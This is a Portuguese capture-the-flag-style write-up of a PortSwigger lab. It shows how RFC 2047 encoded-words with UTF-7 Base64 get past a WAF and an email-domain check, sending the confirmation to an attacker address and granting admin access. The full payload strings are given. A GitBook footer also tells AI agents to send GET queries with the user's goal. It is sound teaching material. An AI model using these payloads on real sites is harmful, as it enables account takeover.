> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# Contornando controles de acesso por análise inconsistente de endereços de e-mail

Notas sobre contornando controles de acesso por análise inconsistente de endereços de e-mail para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e remed

### Contornando Controles de Acesso Usando Discrepâncias na Análise de Endereço de E-mail

#### Descrição do laboratório

Este laboratório implementa validação de endereço de e-mail para impedir o registro com domínios não autorizados. / No entanto, há uma inconsistência entre a lógica de validação do lado da aplicação e a biblioteca usada para interpretar de fato os endereços de e-mail.

Usando essa diferença na análise, é possível se cadastrar com um endereço de e-mail externo enquanto contorna a restrição do domínio autorizado, depois acessar recursos de administrador e excluir usuário **carlos**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7e44c81befe43f141086d89a169934854990f0%2F%7BA30B519C-BDA0-4443-9FDD-5282BFBEA35E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Restrição de cadastro

Ao tentar se registrar com um endereço clássico como:

```
test@jord4n.pro
```

A aplicação recusa o cadastro e informa que apenas endereços pertencentes ao seguinte domínio são permitidos:

```
ginandjuice.shop
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-027e5e6211f0bddfa97b4f8b4abcc9b0bc1d4a6e%2F%7BA5BD5BEB-EF19-4914-93F5-E61D00C9502C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Um cadastro legítimo com esse domínio então aciona um e-mail de confirmação:

```
Verifique seus e-mails para o link de registro da sua conta
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef2d6fec79a071ddc7b045f2307f3dbb45a70d1e%2F%7B60489A7B-5F54-45E9-A387-952C9FE53DB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Portanto, é necessário receber esse e-mail para finalizar o cadastro.

#### Origem da vulnerabilidade

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c79721eb7c558d70d2f79d7e8225b8ba1f592d3%2Fimage%20(194).png?alt=media" alt=""><figcaption></figcaption></figure>

A falha é baseada no uso de um **Encoded-word** (RFC 2047), cujo formato é o seguinte:

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

Esse mecanismo permite codificar certas partes de um endereço de e-mail.

O validador da aplicação rejeita algumas codificações, enquanto o analisador final de e-mail as interpreta corretamente.

#### Bloqueio inicial

Uma tentativa simples de codificação em UTF-8 (quoted-printable) é bloqueada pelo WAF:

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

Resposta

```bash
Cadastro bloqueado por motivos de segurança
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fa2e9cab5503a47efeb6d69465c55152f18d171%2F%7B325666A1-4BCE-4A2E-9FE4-FB626AD43AE9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Técnica de contorno

Para contornar esse filtro, **codificação UTF-7 com Base64** é usada.

Princípio:

* Codifique um caractere em UTF-16

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6dcfd3f23f4442c24715358e30cacd0d9fabee2%2F%7B6A6E4381-B010-4CA5-AC1A-F12DA40DA498%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Converta esse resultado para Base64

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f372cb54f866c134e23c1ae203bb82d15a720432%2F%7BAF647B10-FDF7-4366-A51A-81F8C1C9BA3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Use em um Encoded-word UTF-7

Exemplo de codificação de caractere `um`:

* UTF-16 → Base64 : `AGE=`

Payload mínimo funcional:

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

Esse valor é aceito pela lógica de validação.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7863f9b2d3bc553f2f4b30b2920955bda491dad%2F%7B39966655-6720-4B2A-81DA-139FCC8A9824%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Operação completa com um endereço controlado

Endereço do invasor:

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

Construção do payload:

* `&AEA-` representa `@`
* `&ACA-` representa um espaço, impedindo uma interpretação estrita do domínio final

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6d15dd92299198ddd3da2de69fb2419d4334a670%2F%7B5B9D15F5-8F74-45F9-B06F-B4482B9CD336%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Payload final usado ao se registrar:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-43f4da9b3e2a5d2c4ea396e17515b265aaabefd2%2F%7BCE5D56A6-DCDF-48F9-A659-2663DA9DAD33%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Endereço realmente interpretado pelo servidor de e-mail:

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d763ece6d2affda0def05154022315550977b56%2F%7BDF3E8F90-B1D8-4847-8AAD-CE383A0B9E27%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Resultado

* A aplicação valida o endereço porque ele termina com `@ginandjuice.shop`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dd4ee3c7dca7babb0d3630d132a1521a14ee8a%2F%7B5F863F7F-DE66-4C63-B07F-D8DEDD642BEA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* O servidor de e-mail envia a mensagem para o endereço controlado pelo invasor
* Link de confirmação recebido
* O cadastro é concluído com sucesso
* Acesso à aplicação é obtido
* Ações administrativas se tornam possíveis, incluindo a remoção do usuário **carlos**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-807a4c6e6b4171cd05c3be4aa9db39cb3f7659ab%2F%7B0F9E86D6-7510-45AB-A85D-39F085EA0BB1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
